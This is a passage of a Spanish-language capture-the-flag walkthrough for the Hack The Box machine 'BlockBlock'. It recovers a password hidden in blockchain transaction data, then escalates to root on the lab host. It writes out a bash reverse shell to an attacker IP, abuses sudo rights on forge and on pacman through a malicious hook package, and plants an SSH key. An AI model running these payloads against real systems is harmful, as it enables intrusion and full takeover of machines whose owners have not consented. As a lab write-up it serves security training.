❯ /usr/local/bin/solcjs --abi Database.sol --bin --optimize -o Database.abi

❯ ls -la Database.abi
total 28
drwxrwxr-x 2 gunzf0x gunzf0x  4096 Dec 18 02:22 .
drwxrwxr-x 3 gunzf0x gunzf0x  4096 Dec 18 02:22 ..
-rw-rw-r-- 1 gunzf0x gunzf0x  2319 Dec 18 02:22 Database_sol_Database.abi
-rw-rw-r-- 1 gunzf0x gunzf0x 12052 Dec 18 02:22 Database_sol_Database.bin
-rw-rw-r-- 1 gunzf0x gunzf0x   160 Dec 18 02:22 Database_sol_IChat.abi
-rw-rw-r-- 1 gunzf0x gunzf0x     0 Dec 18 02:22 Database_sol_IChat.bin

❯ /usr/local/bin/solcjs --abi Chat.sol --bin --optimize -o Chat.abi

Por ejemplo, el archivo Chat_sol_Chat.abi generado es:

❯ cat Chat_sol_Chat.abi

[{"inputs":[{"internalType":"address","name":"_database","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"},{"indexed":false,"internalType":"string","name":"sender","type":"string"},{"indexed":false,"internalType":"string","name":"content","type":"string"}],"name":"MessageSent","type":"event"},{"inputs":[],"name":"database","outputs":[{"internalType":"contract IDatabase","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"deleteUserMessages","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"getRecentUserMessages","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalMessagesCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getUserMessage","outputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"getUserMessages","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"getUserMessagesCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"}],"name":"getUserMessagesRange","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"sender","type":"string"},{"internalType":"string","name":"content","type":"string"}],"name":"sendMessage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Podemos ir a esta página y pasamos el contenido del archivo .abi e Input. Podemos ver que funciona. Por ejemplo, pasando el contenido del archivo generado Chat_sol_Chat.abi y el valor de Input (que era el contenido del bloque/block con número 0xf) nos permite ver lo que contiene el bloque:

BlockBlock 13

Podemos ver el contenido del último mensaje que le enviamos al bot al chatear con éste el cual era test, por medio de nuestro usuario creado gunzf0x.

Ahora bien, dado que eth_getBlockNumber nos permite leer bloques por números (enteros) en hexadecimal, podemos tratar de obtener el contenido de distintos bloques empezando por el bloque 0 (0x0 en hexadecimal), luego vamos por el bloque 1 (0x1 en hexadecimal) y así…

El bloque 1 (o 0x1) retorna algo interesante. Si, en nuestra sesión como Admin en Firefox pasamos a la consola de developer la función:

fetch('http://10.10.11.43/api/json-rpc', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        "token": "cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"
    },
        body: JSON.stringify({
        jsonrpc: "2.0",
        method: "eth_getBlockByNumber",
        params: ["0x1", true],
        id: 1
    })
})
.then(response => response.json())
.then(data => {
    console.log(data);
})
.catch(error => {
    console.error('Error:', error);
});

Obtenemos un tag de Transaction, el cual contiene la respuesta en el campo Input:

BlockBlock

Copiando y pasando aquel nuevo output en la página para decodear contenido ésta solo muestra el contenido:

BlockBlock 16

No muestra mucho, pero muestra algo interesante: la palabra _database. De manera que este contenido puede tener algo sensible.

Dado que el contenido de Input está encodeado en hexadecimal, podemos usar CyberChef yendo a su página web y usar el método From Hex para decodear el contenido. En la parte final del texto decodeado, podemos ver algo interesante:

BlockBlock 17

Tenemos los textos/palabras keira y SomedayBitCoinWillCollapse. Recordando, en el panel de Admin vimos que ya existía otro usuario llamado keira.

Podemos revisar si esta contraseña funciona para el usuario keira con NetExec a través de, por ejemplo, SSH:

❯ netexec ssh 10.10.11.43 -u 'keira' -p 'SomedayBitCoinWillCollapse'

SSH         10.10.11.43     22     10.10.11.43      [*] SSH-2.0-OpenSSH_9.7
SSH         10.10.11.43     22     10.10.11.43      [+] keira:SomedayBitCoinWillCollapse  Linux - Shell access!

Funciona.

Usamos la contraseña decodeada para loguearnos a través de SSH como el usuario keira:

❯ sshpass -p 'SomedayBitCoinWillCollapse' ssh -o stricthostkeychecking=no keira@10.10.11.43
Warning: Permanently added '10.10.11.43' (ED25519) to the list of known hosts.
Last login: Mon Nov 18 16:50:13 2024 from 10.10.14.23

[keira@blockblock ~]$

Podemos extraer la flag de usuario.


Root Link to heading

Revisando qué es lo que puede ejecutar este usuario con sudo muestra que este usuario puede correr un comando como el usuario paul llamado forge:

[keira@blockblock ~]$ sudo -l

User keira may run the following commands on blockblock:
    (paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge

Tratando de ver qué es este comando (para ver si es un binario o un script) nos muestra que no podemos leer el archivo:

[keira@blockblock ~]$ file /home/paul/.foundry/bin/forge

/home/paul/.foundry/bin/forge: cannot open `/home/paul/.foundry/bin/forge' (Permission denied)

[keira@blockblock ~]$ ls -ld /home/paul/.foundry/bin/forge
ls: cannot access '/home/paul/.foundry/bin/forge': Permission denied

[keira@blockblock ~]$ ls -la /home/paul/.foundry/
ls: cannot access '/home/paul/.foundry/': Permission denied

Si ejecutamos el comando forge directamente como paul usando sudo obtenemos:

[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge

Build, test, fuzz, debug and deploy Solidity contracts

Usage: forge <COMMAND>

Commands:
  bind               Generate Rust bindings for smart contracts
  build              Build the project's smart contracts [aliases: b, compile]
  cache              Manage the Foundry cache
  clean              Remove the build artifacts and cache directories [aliases: cl]
  clone              Clone a contract from Etherscan
  completions        Generate shell completions script [aliases: com]
  config             Display the current config [aliases: co]
  coverage           Generate coverage reports
  create             Deploy a smart contract [aliases: c]
  debug              Debugs a single smart contract as a script [aliases: d]
  doc                Generate documentation for the project
  flatten            Flatten a source file and all of its imports into one file [aliases: f]
  fmt                Format Solidity source files
  geiger             Detects usage of unsafe cheat codes in a project and its dependencies
  generate           Generate scaffold files
  generate-fig-spec  Generate Fig autocompletion spec [aliases: fig]
  help               Print this message or the help of the given subcommand(s)
  init               Create a new Forge project
  inspect            Get specialized information about a smart contract [aliases: in]
  install            Install one or multiple dependencies [aliases: i]
  remappings         Get the automatically inferred remappings for the project [aliases: re]
  remove             Remove one or multiple dependencies [aliases: rm]
  script             Run a smart contract as a script, building transactions that can be sent onchain
  selectors          Function selector utilities [aliases: se]
  snapshot           Create a snapshot of each test's gas usage [aliases: s]
  test               Run the project's tests [aliases: t]
  tree               Display a tree visualization of the project's dependency graph [aliases: tr]
  update             Update one or multiple dependencies [aliases: u]
  verify-bytecode    Verify the deployed bytecode against its source [aliases: vb]
  verify-check       Check verification status on Etherscan [aliases: vc]
  verify-contract    Verify smart contracts on Etherscan [aliases: v]

Options:
  -h, --help     Print help
  -V, --version  Print version

Find more information in the book: http://book.getfoundry.sh/reference/forge/forge.html

Buscando por forge command blockchain nos lleva a la misma página web mostrada en el mensaje de ayuda del último comando para un software llamado forge.

Información
forge is a set of tools to build, test, fuzz, debug and deploy Solidity smart contracts.
En resumen, forge es una herramienta para trabajar con contratos en blockchain.

Eventualmente, luego de mirar algo de documentación, encontramos un comando para forge llamado init. En corto, este comando genera un script. Podemos iniciar un nuevo proyecto con Forge y luego ejecutarlo usando el comando build pasando un archivo/script malicioso a través del parámetro --use.

[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline

Initializing /dev/shm/exploit...
    Initialized forge project
    
[keira@blockblock ~]$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/9001 0>&1"' > /dev/shm/rev

[keira@blockblock ~]$ chmod +x /dev/shm/rev

Empezamos un listener con netcat por el puerto 9001 y lo ejecutamos:

[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge build --use /dev/shm/rev

Obtenemos una shell como el usuario paul:

❯ nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.43] 52068
[paul@blockblock keira]$ whoami

whoami
paul

Para ganar accesso a través de SSH como este nuevo usuario, creamos una key para este servicio en nuestra máquina de atacantes:

❯ ssh-keygen -t ed25519

Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_ed25519): /home/gunzf0x/HTB/HTBMachines/Hard/BlockBlock/content/id_ed25519
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Hard/BlockBlock/content/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
<SNIP>

Copiamos y pasamos el contenido de id_ed25519.pub de nuestra máquina víctima al archivo /home/paul/.ssh/authorized_keys:

[paul@blockblock ~]$ mkdir .ssh

[paul@blockblock ~]$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHiTrRFxut1pmazPHVSwexdp+tTpF56pEnXlvBG2+biI gunzf0x@kali' >> /home/paul/.ssh/authorized_keys

Podemos así conectarnos a través de SSH como paul usando la key generada:

❯ ssh -i id_ed25519 paul@10.10.11.43

[paul@blockblock ~]$

Este nuevo usuario puede correr pacman con sudo como cualquier usuario:

[paul@blockblock ~]$ sudo -l

User paul may run the following commands on blockblock:
    (ALL : ALL) NOPASSWD: /usr/bin/pacman

Información
The pacman package manager is one of the major distinguishing features of Arch Linux.
En resumen, pacman es un gestor de paquetes para Linux (principalmente para Arch Linux btw), similar a como lo puede ser apt para sistemas basados en Debian.

Buscando cómo podemos ejecutar comandos con pacman encontramos algo llamado hooks. Este post de Arch Linux btw muestra cómo podemos ejecutar comandos. Podemos abrir un editor de texto como Vim en la máquina víctima y crear un hook:

[paul@blockblock ~]$ mkdir hooks

[paul@blockblock ~]$ cd /home/paul/hooks

Donde ponemos sl siguiente contenido en el archivo /home/paul/hooks/rev.hooks:

[Trigger]
Operation = Install
Type = Package
Target = *

[Action]
Description = Revshell
When = PostTransaction
Exec = /dev/shm/rev

Aquí estamos ejecutando y “reciclando” el script /dev/shm/rev que nos envió una reverse shell como paul previamente.

Ahora necesitamos crear un paquete/package custom para llamar a este hook. Este archivo debe llamarse PKGBUILD. Hacemos esto usando nuevamente Vim:

[paul@blockblock hooks]$ vim PKGBUILD

con el contenido:

pkgname=revpkg
pkgver=1.0
pkgrel=1
arch=('any')
pkgdesc="Evil package"
license=('GPL')

Luego, creamos el paquete custom usando el comando makepkg junto con la flag -cf, la cual hará que pacman busque por el archivo PKGBUILD en el directorio actual de trabajo:

[paul@blockblock hooks]$ makepkg -cf

==> Making package: revpkg 1.0-1 (Mon 10 Mar 2025 05:35:42 AM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
==> Extracting sources...
==> Entering fakeroot environment...
==> Tidying install...
  -> Removing libtool files...
  -> Purging unwanted files...
  -> Removing static library files...
  -> Stripping unneeded symbols from binaries and libraries...
  -> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "revpkg"...
  -> Generating .PKGINFO file...
  -> Generating .BUILDINFO file...
  -> Generating .MTREE file...
  -> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: revpkg 1.0-1 (Mon 10 Mar 2025 05:35:44 AM UTC)
==> Cleaning up...

Del output podemos ver que el paquete creado se llama revpkg 1.0-1.

Empezamos un nuevo listener con netcat en el puerto 9001.

Acto seguido, usamos pacman instalando nuestro paquete custom junto con el hook custom:

[paul@blockblock hooks]$ sudo /usr/bin/pacman --hookdir /home/paul/hooks -U revpkg-1.0-1-any.pkg.tar.zst --noconfirm

loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) revpkg-1.0-1


:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                      [##########################] 100%
(1/1) checking package integrity                    [##########################] 100%
(1/1) loading package files                         [##########################] 100%
(1/1) checking for file conflicts                   [##########################] 100%
(1/1) checking available disk space                 [##########################] 100%
:: Processing package changes...
(1/1) installing revpkg                             [##########################] 100%
:: Running post-transaction hooks...
(1/1) Revshell

En nuestro listener con netcat obtenemos una conexión como el usuario root:

❯ nc -lvnp 9001

listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.43] 52530
[root@blockblock /]# whoami

whoami
root

GG. Podemos extraer la flag de root en el directorio /root.

~Happy Hacking.